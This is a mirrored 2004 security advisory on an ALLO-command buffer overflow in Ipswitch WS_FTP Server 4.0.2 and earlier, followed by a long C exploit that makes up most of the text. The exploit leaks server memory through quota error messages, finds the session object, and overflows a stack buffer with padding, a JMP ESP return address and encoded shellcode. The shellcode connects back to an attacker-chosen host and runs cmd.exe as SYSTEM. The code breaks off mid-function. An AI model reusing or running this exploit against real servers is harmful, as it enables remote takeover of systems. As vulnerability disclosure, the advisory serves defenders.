The OpenNET Project
 
Search (keywords):  SOFT ARTICLES TIPS & TRICKS SECURITY
LINKS NEWS MAN DOCUMENTATION


[NT] WS_FTP Server ALLO Security Vulnerability


<< Previous INDEX Search src Set bookmark Go to bookmark Next >>
Date: 31 Mar 2004 15:12:18 +0200
From: SecuriTeam <[email protected]>
To: [email protected]
Subject: [NT] WS_FTP Server ALLO Security Vulnerability

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion

The SecuriTeam alerts list - Free, Accurate, Independent.

Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html 

- - - - - - - - -



  WS_FTP Server ALLO Security Vulnerability
------------------------------------------------------------------------


SUMMARY

Due to a vulnerability in WS_FTP a user who can upload files, and also has 
a max number of files limit or max total file size limit, can read any 
memory address the WS_FTP Server can read. With the right address, the 
user can cause a buffer overflow and execute arbitrary code as SYSTEM.

DETAILS

Vulnerable Systems:
 * Ipswitch WS_FTP Server version 4.0.2 and prior

There's a vulnerability in the ALLO handler when it sends an error string 
to the client. Instead of pushing an ASCIIZ string, it pushes a 64-bit 
value equal to total size of all files in user's dir and any sub-dirs. 
This is a value we can easily control if we exploit the WS_FTP Server REST 
vulnerability. If we change this value to a string of size equal to ~256 
bytes, we can overwrite the return address and execute arbitrary code as 
SYSTEM.

Exploit:
/*
 * Ipswitch WS_FTP Server <= 4.0.2 ALLO exploit
 * (c)2004 Hugh Mann [email protected]
 *
 * This exploit has been tested with WS_FTP Server 4.0.2.EVAL, Windows XP 
SP1
 *
 * NOTE:
 * - The exploit assumes the user has a total file size limit. If the user 
only has
 * a max number of files limit you will need to rewrite parts of this 
exploit for
 * it to work.
 */

#include <winsock2.h>
#pragma comment(lib, "ws2_32.lib")
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

const char* temp_file = "#t#t#t";
#define ALLO_STRING "ALLO 18446744073709551615"

/*
 * Assume all addresses >= this address to be invalid addresses. If the 
exploit doesn't work,
 * try changing it to a larger value, eg. 0x80000000 or 0xC0000000.
 */
const MAX_ADDR = 0x80000000;

/*
 * Size of each thread's stack space. From iFtpSvc.exe PE header. Must be 
a power of 2.
 * Should not be necessary to change this since practically all PE files 
use the default
 * size (1MB).
 */
const SERV_STK_SIZE = 0x00100000;

/*
 * This is the lower bits of ESP when the ALLO handler is called. This is 
very WS_FTP Server
 * version dependent. Should be = ESP (mod SERV_STK_SIZE)
 */
const SERV_STK_OFFS = 0x0007F208;

/*
 * This is the offset of the "this" pointer relative to SERV_STK_OFFS in 
the ALLO handler.
 */
const SERV_STK_THIS_OFFS = -(0x210+4); // EBP is saved

/*
 * Offset of username relative to the "this" pointer
 */
const SERV_THIS_USERNAME_OFFS = 0x9F8;

/*
 * Offset of FTP cmd buf relative to the "this" pointer
 */
const SERV_THIS_CMDBUF_OFFS = 0x1F8;

/*
 * Offset of EIP relative to vulnerable buffer
 */
const SERV_BUF_EIP = 0x110;

/*
 * Return addresses to JMP ESP instruction. Must contain bytes that are 
valid shellcode characters.
 */
#if 1
const char* ret_addr = "\xD3\xD9\xE2\x77"; // advapi32.dll (08/29/2002), 
WinXP SP1
#else
// mswsock.dll is not loaded by WS_FTP Server, and I haven't investigated 
which DLL actually loads it
// so I don't use this possibly better return address.
const char* ret_addr = "\x3D\x40\xA5\x71"; // mswsock.dll (08/23/2001), 
WinXP SP1 and probably WinXP too
#endif

#define MAXLINE 0x1000

static char inbuf[MAXLINE];
static unsigned inoffs = 0;
static char last_line[MAXLINE];
static int output_all = 0;
static int quite_you = 0;

void msg2(const char *format, ...)
{
 va_list args;
 va_start(args, format);
 vfprintf(stdout, format, args);
}

void msg(const char *format, ...)
{
 if (quite_you && output_all == 0)
  return;

 va_list args;
 va_start(args, format);
 vfprintf(stdout, format, args);
}

int isrd(SOCKET s)
{
 fd_set r;
 FD_ZERO(&r);
 FD_SET(s, &r);
 timeval t = {0, 0};
 int ret = select(1, &r, NULL, NULL, &t);
 if (ret < 0)
  return 0;
 else
  return ret != 0;
}

void print_all(const char* buf, int len = -1)
{
 if (len == -1)
  len = (int)strlen(buf);

 for (int i = 0; i < len; i++)
  putc(buf[i], stdout);
}

int _recv(SOCKET s, char* buf, int len, int flags)
{
 int ret = recv(s, buf, len, flags);
 if (!output_all || ret < 0)
  return ret;

 print_all(buf, ret);
 return ret;
}

int get_line(SOCKET s, char* string, unsigned len)
{
 char* nl;
 while ((nl = (char*)memchr(inbuf, '\n', inoffs)) == NULL)
 {
  if (inoffs >= sizeof(inbuf))
  {
   msg("[-] Too long line\n");
   return 0;
  }
  int len = _recv(s, &inbuf[inoffs], sizeof(inbuf) - inoffs, 0);
  if (len <= 0)
  {
   msg("[-] Error receiving data\n");
   return 0;
  }

  inoffs += len;
 }

 strncpy(last_line, inbuf, sizeof(last_line));
 last_line[sizeof(last_line)-1] = 0;

 unsigned nlidx = (unsigned)(ULONG_PTR)(nl - inbuf);
 if (nlidx >= len)
 {
  msg("[-] Too small caller buffer\n");
  return 0;
 }
 memcpy(string, inbuf, nlidx);
 string[nlidx] = 0;
 if (nlidx > 0 && string[nlidx-1] == '\r')
  string[nlidx-1] = 0;

 if (nlidx + 1 >= inoffs)
  inoffs = 0;
 else
 {
  memcpy(inbuf, &inbuf[nlidx+1], inoffs - (nlidx + 1));
  inoffs -= nlidx + 1;
 }

 return 1;
}

int ignorerd(SOCKET s)
{
 inoffs = 0;

 while (1)
 {
  if (!isrd(s))
   return 1;
  if (_recv(s, inbuf, sizeof(inbuf), 0) < 0)
   return 0;
 }
}

int get_reply_code(SOCKET s, int (*func)(void* data, char* line) = NULL, 
void* data = NULL)
{
 char line[MAXLINE];

 if (!get_line(s, line, sizeof(line)))
 {
  msg("[-] Could not get status code\n");
  return -1;
 }
 if (func)
  func(data, line);

 char c = line[3];
 line[3] = 0;
 int code;
 if (!(c == ' ' || c == '-') || strlen(line) != 3 || !(code = atoi(line)))
 {
  msg("[-] Weird reply\n");
  return -1;
 }

 char endline[4];
 memcpy(endline, line, 3);
 endline[3] = ' ';
 if (c == '-')
 {
  while (1)
  {
   if (!get_line(s, line, sizeof(line)))
   {
    msg("[-] Could not get next line\n");
    return -1;
   }
   if (func)
    func(data, line);
   if (!memcmp(line, endline, sizeof(endline)))
    break;
  }
 }

 return code;
}

int sendb(SOCKET s, const char* buf, int len, int flags = 0)
{
 while (len)
 {
  int l = send(s, buf, len, flags);
  if (l <= 0)
   break;
  len -= l;
  buf += l;
 }

 return len == 0;
}

int sends(SOCKET s, const char* buf, int flags = 0)
{
 return sendb(s, buf, (int)strlen(buf), flags);
}

int _send_cmd(SOCKET s, const char* fmt, va_list args, int need_reply)
{
 char buf[MAXLINE];
 buf[sizeof(buf)-1] = 0;
 if (_vsnprintf(buf, sizeof(buf), fmt, args) < 0 || buf[sizeof(buf)-1] != 
0)
 {
  msg("[-] Buffer overflow\n");
  return -1;
 }

 if (output_all)
  print_all(buf);

 if (!ignorerd(s) || !sends(s, buf))
  return -1;

 if (need_reply)
  return get_reply_code(s);

 return 0;
}

int send_cmd(SOCKET s, const char* fmt, ...)
{
 va_list args;
 va_start(args, fmt);
 return _send_cmd(s, fmt, args, 1);
}

int send_cmd2(SOCKET s, const char* fmt, ...)
{
 va_list args;
 va_start(args, fmt);
 return _send_cmd(s, fmt, args, 0);
}

int add_bytes(void* dst, int& dstoffs, int dstlen, const void* src, int 
srclen)
{
 if (dstoffs < 0 || dstoffs + srclen > dstlen || dstoffs + srclen < 
dstoffs)
 {
  msg("[-] Buffer overflow ;)\n");
  return 0;
 }

 memcpy((char*)dst+dstoffs, src, srclen);
 dstoffs += srclen;
 return 1;
}

int check_invd_bytes(const char* name, const void* buf, int buflen, int 
(*chkchar)(char c))
{
 const char* b = (const char*)buf;

 for (int i = 0; i < buflen; i++)
 {
  if (!chkchar(b[i]))
  {
   msg("[-] %s[%u] (%02X) is an invalid character\n", name, i, (unsigned 
char)b[i]);
   return 0;
  }
 }

 return 1;
}

int enc_byte(char& c, char& k, int (*chkchar)(char c))
{
 for (int i = 0; i < 0x100; i++)
 {
  if (!chkchar(c ^ i) || !chkchar(i))
   continue;

  c ^= i;
  k = i;
  return 1;
 }

 msg("[-] Could not find encryption key for byte %02X\n", c);
 return 0;
}

int get_enc_key(char* buf, int size, int offs, int step, int 
(*chkchar)(char c), int ignore1 = -1, int ignore2 = -1)
{
 for (int i = 0; i < 0x100; i++)
 {
  if (!chkchar(i))
   continue;

  for (int j = offs; j < size; j += step)
  {
   if (ignore1 != -1 && (j >= ignore1 && j <= ignore2))
    continue; // These bytes aren't encrypted
   if (!chkchar(buf[j] ^ i))
    break;
  }
  if (j < size)
   continue;

  return i;
 }

 msg("[-] Could not find an encryption key\n");
 return -1;
}

int login(SOCKET s, const char* username, const char* userpass)
{
 msg("[+] Logging in as %s...\n", username);
 int code;
 if ((code = send_cmd(s, "USER %s\r\n", username)) < 0)
 {
  msg("[-] Failed to log in #1\n");
  return 0;
 }

 if (code == 331)
 {
  if ((code = send_cmd(s, "PASS %s\r\n", userpass)) < 0)
  {
   msg("[-] Failed to log in #2\n");
   return 0;
  }
 }

 if (code != 230)
 {
  msg("[-] Failed to log in. Code %3u\n", code);
  return 0;
 }

 msg("[+] Logged in\n");
 return 1;
}

class xuser
{
public:
 xuser() : s(INVALID_SOCKET) {}
 ~xuser() {close();}
 int init(unsigned long ip, unsigned short port, const char* username, 
const char* userpass);
 void close() {if (s >= 0) closesocket(s); s = INVALID_SOCKET;}
 SOCKET sock() const {return s;}
 int exploit(unsigned long sip, unsigned short sport);
 int read_serv_mem_bytes(unsigned addr, void* dst, int dstlen);
 int read_serv_mem_string(unsigned addr, char* dst, int dstlen);
 int read_serv_mem_uint32(unsigned addr, unsigned* dst);

protected:
 int read_serv_mem(unsigned addr, void* dst, int dstlen);

 SOCKET s;
 char username[260];
 char userpass[260];
 unsigned long ip;
 unsigned short port;
};

/*
 * XAUT code tested with WS_FTP Server 4.0.2.EVAL
 */
#define XAUT_2_KEY 0x49327576

int xaut_encrypt(char* dst, const char* src, int len, unsigned long key)
{
 unsigned char keybuf[0x80*4];

 for (int i = 0; i < sizeof(keybuf)/4; i++)
 {
  keybuf[i*4+0] = (char)key;
  keybuf[i*4+1] = (char)(key >> 8);
  keybuf[i*4+2] = (char)(key >> 16);
  keybuf[i*4+3] = (char)(key >> 24);
 }

 for (int i = 0; i < len; i++)
 {
  if (i >= sizeof(keybuf))
  {
   msg("[-] xaut_encrypt: Too long input buffer\n");
   return 0;
  }
  *dst++ = *src++ ^ keybuf[i];
 }

 return 1;
}

char* xaut_unpack(char* src, int len, int delete_it)
{
  char* dst = new char[len*2 + 1];

 for (int i = 0; i < len; i++)
 {
  dst[i*2+0] = ((src[i] >> 4) & 0x0F) + 0x35;
  dst[i*2+1] = (src[i] & 0x0F) + 0x31;
 }
 dst[i*2] = 0;

 if (delete_it)
  delete src;

 return dst;
}

int xaut_login(SOCKET s, int d, const char* username, const char* 
password, unsigned long key)
{
 msg("[+] Logging in [XAUT] as %s...\n", username);
 int ret = 0;
 char* dst = NULL;
 __try
 {
  const char* middle = ":";
  dst = new char[strlen(username) + strlen(middle) + strlen(password) + 
1];
  strcpy(dst, username);
  strcat(dst, middle);
  strcat(dst, password);
  int len = (int)strlen(dst);
  if ((d == 2 && !xaut_encrypt(dst, dst, len, XAUT_2_KEY)) || 
!xaut_encrypt(dst, dst, len, key))
   __leave;

  dst = xaut_unpack(dst, len, 1);
  if (send_cmd(s, "XAUT %d %s\r\n", d, dst) != 230)
   __leave;

  ret = 1;
 }
 __finally
 {
  delete dst;
 }

 if (!ret)
  msg("[-] Failed to log in\n");
 else
  msg("[+] Logged in\n");

 return ret;
}

struct my_data
{
 unsigned long key;
 int done_that;
 char hostname[256];
};

int line_callback(void* data, char* line)
{
 my_data* m = (my_data*)data;
 if (m->done_that)
  return 1;

 /*
  * Looking for a line similar to:
  *
  * "220-FTP_HOSTNAME X2 WS_FTP Server 4.0.2.EVAL (41541732)\r\n"
  */
 char* s, *e;
 if (strncmp(line, "220", 3) || !strstr(line, "WS_FTP Server") ||
  (s = strrchr(line, '(')) == NULL || (e = strchr(s, ')')) == NULL)
  return 1;

 char buf[0x10];
 int len = (int)(ULONG_PTR)(e - (s+1));
 if (len >= sizeof(buf) || len > 10)
  return 1;
 memcpy(buf, s+1, len);
 buf[len] = 0;
 for (int i = 0; i < len; i++)
 {
  if (!isdigit((unsigned char)buf[i]))
   return 1;
 }
 m->key = atol(buf);

 for (int i = 4, len = (int)strlen(line); i < len; i++)
 {
  if (i-4 >= sizeof(m->hostname))
   return 1;
  m->hostname[i-4] = line[i];
  if (line[i] == ' ')
   break;
 }
 m->hostname[i-4] = 0;
 if (m->hostname[0] == 0)
  return 1;

 m->done_that = 1;
 return 1;
}

int xuser::init(unsigned long _ip, unsigned short _port, const char* 
_username, const char* _userpass)
{
 ip = _ip;
 port = _port;
 close();

 strncpy(username, _username, sizeof(username));
 if (username[sizeof(username)-1] != 0)
 {
  msg("[-] username too long\n");
  return 0;
 }
 strncpy(userpass, _userpass, sizeof(userpass));
 if (userpass[sizeof(userpass)-1] != 0)
 {
  msg("[-] userpass too long\n");
  return 0;
 }

 sockaddr_in saddr;
 memset(&saddr, 0, sizeof(saddr));
 saddr.sin_family = AF_INET;
 saddr.sin_port = htons(port);
 saddr.sin_addr.s_addr = htonl(ip);

 in_addr a; a.s_addr = htonl(ip);
 msg("[+] Connecting to %s:%u...\n", inet_ntoa(a), port);
 s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
 if (s < 0 || connect(s, (sockaddr*)&saddr, sizeof(saddr)) < 0)
 {
  msg("[-] Could not connect\n");
  return 0;
 }
 msg("[+] Connected\n");

 my_data m;
 memset(&m, 0, sizeof(m));
 int code = get_reply_code(s, line_callback, &m);
 if (code != 220)
 {
  msg("[-] Got reply %3u\n", code);
  return 0;
 }
 else if (!m.done_that)
 {
  msg("[-] Could not find XAUT key or host name => Not a WS_FTP 
Server\n");
  return 0;
 }

 if (!xaut_login(s, 0, username, userpass, m.key) && !login(s, username, 
userpass))
  return 0;

 // Don't want UTF8 conversions
 if (send_cmd(s, "LANG en\r\n") != 200)
 {
  msg("[-] Apparently they don't understand the english language\n");
  return 0;
 }

 if (send_cmd(s, "NOOP step into the light\r\n") != 200)
 {
  msg("[-] C4n't k1ll 4 z0mbie\n");
  return 0;
 }

 return 1;
}

SOCKET get_data_sock(SOCKET s, const char* filename, const char* cmd)
{
 SOCKET sd = INVALID_SOCKET;

 int error = 1;
 __try
 {
  sockaddr_in saddr;
  int len = sizeof(saddr);
  if (getsockname(s, (sockaddr*)&saddr, &len) < 0 || len != sizeof(saddr) 
||
   (sd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0)
   __leave;

  sockaddr_in daddr;
  memset(&daddr, 0, sizeof(daddr));
  daddr.sin_family = AF_INET;
  daddr.sin_port = 0;
  daddr.sin_addr.s_addr = saddr.sin_addr.s_addr;
  len = sizeof(daddr);
  if (bind(sd, (sockaddr*)&daddr, sizeof(daddr)) < 0 || listen(sd, 1) < 0 
||
   getsockname(sd, (sockaddr*)&daddr, &len) < 0 || len != sizeof(daddr))
   __leave;

  unsigned long ip = ntohl(daddr.sin_addr.s_addr);
  unsigned short port = ntohs(daddr.sin_port);
  if (send_cmd(s, "PORT %u,%u,%u,%u,%u,%u\r\n",
   (unsigned char)(ip >> 24),
   (unsigned char)(ip >> 16),
   (unsigned char)(ip >> 8),
   (unsigned char)ip,
   (unsigned char)(port >> 8),
   (unsigned char)port) != 200)
   __leave;

  if (send_cmd2(s, "%s %s\r\n", cmd, filename) < 0)
   __leave;

  msg("[+] Waiting for server to connect...\n");
  SOCKET sa;
  sockaddr_in aaddr;
  len = sizeof(aaddr);
  if ((sa = accept(sd, (sockaddr*)&aaddr, &len)) < 0)
   __leave;
  closesocket(sd);
  sd = sa;

  if (get_reply_code(s) != 150)
   __leave;

  error = 0;
 }
 __finally
 {
  if (error)
  {
   msg("[-] Could not create data connection, %u\n", GetLastError());
   closesocket(sd);
   sd = INVALID_SOCKET;
  }
  else
   msg("[+] Server connected\n");
 }

 return sd;
}

int create_file(SOCKET s, const char* tmpname, unsigned size = 1)
{
 int ret = 0;

 SOCKET sd = INVALID_SOCKET;
 __try
 {
  if (size > 1 && send_cmd(s, "REST %u\r\n", size) != 350)
   __leave;
  if ((sd = get_data_sock(s, tmpname, "STOR")) < 0)
   __leave;

  ret = 1;
 }
 __finally
 {
  if (sd >= 0)
   closesocket(sd);
 }
 if (ret && get_reply_code(s) != 226)
  ret = 0;

 return ret;
}

const unsigned int shlc2_offs_encstart = 0x0000002B;
const unsigned int shlc2_offs_encend = 0x000001B8;
const unsigned int shlc2_offs_enckey = 0x00000025;
unsigned char shlc2_code[] =
"\xEB\x16\x78\x56\x34\x12\x78\x56\x34\x12\x78\x56\x34\x12\x78\x56"
"\x34\x12\x5B\x53\x83\xEB\x1D\xC3\xE8\xF5\xFF\xFF\xFF\x33\xC9\xB1"
"\x64\x81\x74\x8B\x27\x55\x55\x55\x55\xE2\xF6\xFC\x8B\x43\x0A\x31"
"\x43\x02\x8B\x43\x0E\x31\x43\x06\x89\x4B\x0A\x89\x4B\x0E\x64\x8B"
"\x35\x30\x00\x00\x00\x8B\x76\x0C\x8B\x76\x1C\xAD\x8B\x68\x08\x8D"
"\x83\x67\x01\x00\x00\x55\xE8\xB7\x00\x00\x00\x68\x33\x32\x00\x00"
"\x68\x77\x73\x32\x5F\x54\xFF\xD0\x96\x8D\x83\x74\x01\x00\x00\x56"
"\xE8\x9D\x00\x00\x00\x81\xEC\x90\x01\x00\x00\x54\x68\x01\x01\x00"
"\x00\xFF\xD0\x8D\x83\x7F\x01\x00\x00\x56\xE8\x83\x00\x00\x00\x33"
"\xC9\x51\x51\x51\x6A\x06\x6A\x01\x6A\x02\xFF\xD0\x97\x8D\x83\x8A"
"\x01\x00\x00\x56\xE8\x69\x00\x00\x00\x33\xC9\x51\x51\x51\x51\x6A"
"\x10\x8D\x4B\x02\x51\x57\xFF\xD0\xB9\x54\x00\x00\x00\x2B\xE1\x88"
"\x6C\x0C\xFF\xE2\xFA\xC6\x44\x24\x10\x44\x41\x88\x4C\x24\x3C\x88"
"\x4C\x24\x3D\x89\x7C\x24\x48\x89\x7C\x24\x4C\x89\x7C\x24\x50\x49"
"\x8D\x44\x24\x10\x54\x50\x51\x51\x51\x6A\x01\x51\x51\x8D\x83\xA4"
"\x01\x00\x00\x50\x51\x8D\x83\x95\x01\x00\x00\x55\xE8\x11\x00\x00"
"\x00\x59\xFF\xD0\x8D\x83\xAC\x01\x00\x00\x55\xE8\x02\x00\x00\x00"
"\xFF\xD0\x60\x8B\x7C\x24\x24\x8D\x6F\x78\x03\x6F\x3C\x8B\x6D\x00"
"\x03\xEF\x83\xC9\xFF\x41\x3B\x4D\x18\x72\x0B\x64\x89\x0D\x00\x00"
"\x00\x00\x8B\xE1\xFF\xE4\x8B\x5D\x20\x03\xDF\x8B\x1C\x8B\x03\xDF"
"\x8B\x74\x24\x1C\xAC\x38\x03\x75\xDC\x43\x84\xC0\x75\xF6\x8B\x5D"
"\x24\x03\xDF\x0F\xB7\x0C\x4B\x8B\x5D\x1C\x03\xDF\x8B\x0C\x8B\x03"
"\xCF\x89\x4C\x24\x1C\x61\xC3\x4C\x6F\x61\x64\x4C\x69\x62\x72\x61"
"\x72\x79\x41\x00\x57\x53\x41\x53\x74\x61\x72\x74\x75\x70\x00\x57"
"\x53\x41\x53\x6F\x63\x6B\x65\x74\x41\x00\x57\x53\x41\x43\x6F\x6E"
"\x6E\x65\x63\x74\x00\x43\x72\x65\x61\x74\x65\x50\x72\x6F\x63\x65"
"\x73\x73\x41\x00\x63\x6D\x64\x2E\x65\x78\x65\x00\x45\x78\x69\x74"
"\x50\x72\x6F\x63\x65\x73\x73\x00";

int is_valid_shlc2(char c)
{
 return c != 0;
}

struct tfs_data
{
 tfs_data() : tot_size(0), line(0), ok(0) {}
 int line;
 unsigned tot_size;
 int ok;
};

int tfs_line_callback(void* data, char* line)
{
 tfs_data* m = (tfs_data*)data;
 if (++m->line != 1)
  return 1;

 if (strncmp(line, "250-", 4) ||
  (m->tot_size = atoi(line+4)) == 0)
  return 1;

 m->ok = 1;
 return 1;
}

int get_user_total_file_size(SOCKET s, unsigned& tot_size)
{
 int ret = 0;
 SOCKET sd = INVALID_SOCKET;
 __try
 {
  /*
   * Create a $message.txt file
   */
  if ((sd = get_data_sock(s, "$message.txt", "STOR")) < 0 ||
   send(sd, "%z", 2, 0) != 2)
   __leave;
  closesocket(sd);
  sd = INVALID_SOCKET;
  if (get_reply_code(s) != 226)
   __leave;

  tfs_data m;
  const DWORD max_wait = 10000;
  for (DWORD tc = GetTickCount(); GetTickCount() - tc < max_wait; )
  {
   if (send_cmd2(s, "CWD .\r\n") < 0)
    __leave;
   m.ok = m.line = 0;
   int code = get_reply_code(s, tfs_line_callback, &m);
   if (code != 500)
    break;
  }

  if (!m.ok)
   __leave;

  tot_size = m.tot_size;
  ret = 1;
 }
 __finally
 {
  if (sd >= 0)
   closesocket(sd);
 }

 if (!ret)
  msg("[-] Failed to get user total file size.\n Are you sure there's a 
total file size limit for this user?\n");

 return ret;
}

int delete_file(SOCKET s, const char* filename)
{
 DWORD tc = GetTickCount();
 const DWORD wait = 10000;
 while (1)
 {
  if (GetTickCount() - tc > wait)
   return 0;

  if (send_cmd(s, "STAT %s\r\n", filename) != 211)
   return 1;
  if (send_cmd(s, "DELE %s\r\n", filename) < 0)
   return 0;
 }
}

int create_file_for_addr(SOCKET s, unsigned addr)
{
 int ret = 0;
 __try
 {
  if (addr >= MAX_ADDR)
  {
   msg2("[-] Trying to read an addr (%08X) >= MAX_ADDR (%08X)\n", addr, 
MAX_ADDR);
   __leave;
  }
  if (!delete_file(s, temp_file))
   msg("[-] Could not delete file\n");

  unsigned tot_size;
  if (!get_user_total_file_size(s, tot_size))
   __leave;

  if (addr < tot_size)
  {
   msg2("[-] You must delete some user files to read address %08X\n", 
addr);
   __leave;
  }
  unsigned size = addr - tot_size;
  if (!create_file(s, temp_file, size))
   __leave;

  ret = 1;
 }
 __finally
 {
 }

 return ret;
}

/*
 * Returns < 0 => error
 * Returns = 0 => server thread crashed
 * Returns > 0 => read this many bytes into dst
 */
int xuser::read_serv_mem(unsigned addr, void* dst, int dstlen)
{
 int file_created = 0;
 int ret = -1;
 __try
 {
  if (!create_file_for_addr(s, addr))
   __leave;
  file_created = 1;

  if (send_cmd2(s, ALLO_STRING "\r\n") < 0)
   __leave;

  char buf[MAXLINE];
  int bufsz = 0;
  const char* m1 = "452 ";
  int type = 0;
  while (1)
  {
   if (bufsz >= sizeof(buf)-1)
    __leave;

   int size = _recv(s, &buf[bufsz], sizeof(buf)-1-bufsz, 0);
   if (size < 0)
    __leave;
   if (size == 0)
   {
    if (bufsz == 0)
     ret = 0;
    __leave;
   }
   bufsz += size;
   buf[bufsz] = 0;

   if (bufsz >= (int)strlen(m1) && memcmp(m1, buf, strlen(m1)))
    __leave; // Wrong reply code

   const char* s1 = " files\r\n";
   const char* s2 = " size\r\n";
   if (bufsz >= (int)strlen(s1) && !memcmp(s1, &buf[bufsz-strlen(s1)], 
strlen(s1)))
   {
    type = 0;
    break;
   }
   if (bufsz >= (int)strlen(s2) && !memcmp(s2, &buf[bufsz-strlen(s2)], 
strlen(s2)))
   {
    type = 1;
    break;
   }
  }

  const char* s = "quota exceeded; ";
  const char* f1 = " size; ";
  const char* f2 = " size\r\n";
  const char* f3 = " files; ";
  char* b = buf + strlen(m1);
  if (strncmp(b, s, strlen(s)))
   __leave;
  char* ss = NULL, *se = NULL;
  if (type == 0) // "quota exceeded; %s size; %u files\r\n"
  {
   ss = b + strlen(s);
   for (int i = bufsz-(int)strlen(f1); ; i--)
   {
    if (i < 0)
     __leave;
    if (strncmp(f1, &buf[i], strlen(f1)))
     continue; // Not equal to " size; "
    se = &buf[i];
    break;
   }
  }
  else // "quota exceeded; %u files; %s size\r\n"
  {
   ss = strstr(buf, f3);
   if (!ss)
    __leave;
   ss += strlen(f3);
   se = &buf[bufsz-strlen(f2)];
  }
  if (!se || !ss || se < ss)
  {
   msg("[-] Buggy code\n");
   __leave;
  }

  *se = 0;
  int rd_size = (int)(UINT_PTR)(se - ss) + 1; // One 00h byte
  ret = min((int)dstlen, rd_size);
  memcpy(dst, ss, ret);
 }
 __finally
 {
 }

 if (ret < 0)
  msg("[-] Could not read server memory\n");
 else if (ret == 0)
 {
  // Server thread crashed
  if (!init(ip, port, username, userpass))
   ret = -1;
 }

 return ret;
}

int xuser::read_serv_mem_bytes(unsigned addr, void* dst, int dstlen)
{
 for (int i = 0; i < (int)dstlen; )
 {
  int len = read_serv_mem(addr+i, (char*)dst+i, dstlen-i);
  if (len <= 0)
   return len;
  i += len;
 }

 return dstlen;
}

int xuser::read_serv_mem_string(unsigned addr, char* dst, int dstlen)
{
 int len = read_serv_mem(addr, dst, dstlen);
 if (len <= 0)
  return len;
 if (dst[len-1] != 0)
  return -1;
 return len;
}

int xuser::read_serv_mem_uint32(unsigned addr, unsigned* dst)
{
 unsigned char tmp[4];
 int ret = read_serv_mem_bytes(addr, tmp, sizeof(tmp));
 if (ret <= 0)
  return ret;
 if (ret != sizeof(tmp))
  return -1;

 *dst = (tmp[3] << 24) | (tmp[2] << 16) | (tmp[1] << 8) | tmp[0];
 return ret;
}

int xuser::exploit(unsigned long sip, unsigned short sport)
{
 int ret = 0;
 char* shellcode = NULL;
 char* badbuf = NULL;
 __try
 {
  /*
   * Encrypt the shellcode
   */
  const shellcode_len = sizeof(shlc2_code)-1;
  shellcode = new char[shellcode_len+1];
  memcpy(shellcode, shlc2_code, shellcode_len);
  shellcode[shellcode_len] = 0;

  shellcode[2] = (char)2;
  shellcode[3] = (char)(2 >> 8);
  shellcode[4] = (char)(sport >> 8);
  shellcode[5] = (char)sport;
  shellcode[6] = (char)(sip >> 24);
  shellcode[7] = (char)(sip >> 16);
  shellcode[8] = (char)(sip >> 8);
  shellcode[9] = (char)sip;
  for (int i = 0; i < 8; i++)
  {
   if (!enc_byte(shellcode[2+i], shellcode[2+8+i], is_valid_shlc2))
    __leave;
  }

  for (int i = 0; i < 4; i++)
  {
   int k = get_enc_key(&shellcode[shlc2_offs_encstart], 
shlc2_offs_encend-shlc2_offs_encstart, i, 4, is_valid_shlc2);
   if (k < 0)
    __leave;
   shellcode[shlc2_offs_enckey+i] = k;
  }
  msg("[+] Shellcode encryption key = %02X%02X%02X%02X\n",
   (unsigned char)shellcode[shlc2_offs_enckey+3],
   (unsigned char)shellcode[shlc2_offs_enckey+2],
   (unsigned char)shellcode[shlc2_offs_enckey+1],
   (unsigned char)shellcode[shlc2_offs_enckey]);
  for (int i = 0; i < shlc2_offs_encend-shlc2_offs_encstart; i++)
   shellcode[shlc2_offs_encstart+i] ^= shellcode[shlc2_offs_enckey + i % 
4];

  /*
   * Do some sanity checks
   */
  if (!check_invd_bytes("shellcode", shellcode, shellcode_len, 
is_valid_shlc2) ||
   !check_invd_bytes("ret_addr", ret_addr, 4, is_valid_shlc2))
   __leave;

  if (!delete_file(s, temp_file))
  {
   msg("Could not delete file\n");
   __leave;
  }

  unsigned tot_size;
  if (!get_user_total_file_size(s, tot_size))
   __leave;

  msg("[+] Scanning server memory: ");
  quite_you = 1;
  const unsigned ADDR_START = SERV_STK_SIZE;
  const unsigned ADDR_END = MAX_ADDR-1;
  unsigned this_ptr;
  for (unsigned addr = ADDR_START; ; addr += SERV_STK_SIZE)
  {
   if (addr > ADDR_END || !addr)
   {
    /*
     * Can happen if the address of the thread's stack is not in the same 
position in
     * memory. This most likely happens when another user logged in or it 
sent a FTP
     * command which creates a new server thread. Try again.
     */
    msg2("[-] Could not find the this ptr. Try again.\n");
    __leave;
   }
   int rc = read_serv_mem_uint32(addr + SERV_STK_OFFS + 
SERV_STK_THIS_OFFS, &this_ptr);
   if (rc < 0)
   {
    msg2("- unknown error\n"); // Error
    __leave;
   }
   else if (rc == 0)
   {
    msg2("x"); // Crashed
   }
   else
   {
    msg2("."); // Bingo

    char tmp[0x200];
    if (this_ptr + SERV_THIS_USERNAME_OFFS < MAX_ADDR && this_ptr + 
SERV_THIS_CMDBUF_OFFS < MAX_ADDR &&
     read_serv_mem_string(this_ptr + SERV_THIS_USERNAME_OFFS, tmp, 
sizeof(tmp)) > 0 &&
     !strcmp(tmp, username) &&
     read_serv_mem_string(this_ptr + SERV_THIS_CMDBUF_OFFS, tmp, 
sizeof(tmp)) > 0 &&
     !strcmp(tmp, ALLO_STRING))
     break;
   }
  }
  quite_you = 0;
  msg("\n[+] this = %08X\n", this_ptr);

  const char* s1 = "quota exceeded; ";
  char padding[SERV_BUF_EIP];
  int padding_len = sizeof(padding) - (int)strlen(s1);
  memset(padding, 'A', sizeof(padding));

  int xpsz = (int)strlen(ALLO_STRING "\r\n") + padding_len + 4 + 
shellcode_len;
  badbuf = new char[xpsz+1];
  badbuf[xpsz] = 0;
  int tmpidx = 0;
  if (!add_bytes(badbuf, tmpidx, xpsz, ALLO_STRING "\r\n", 
(int)strlen(ALLO_STRING "\r\n")) ||
   !add_bytes(badbuf, tmpidx, xpsz, padding, padding_len) ||
   !add_bytes(badbuf, tmpidx, xpsz, ret_addr, 4) ||
   !add_bytes(badbuf, tmpidx, xpsz, shellcode, shellcode_len) ||
   tmpidx != xpsz)
  {
   msg("[-] This is a bug. Now you know\n");
   __leave;
  }

  if (!create_file_for_addr(s, this_ptr + SERV_THIS_CMDBUF_OFFS + 
strlen(ALLO_STRING "\r\n")))
   __leave;
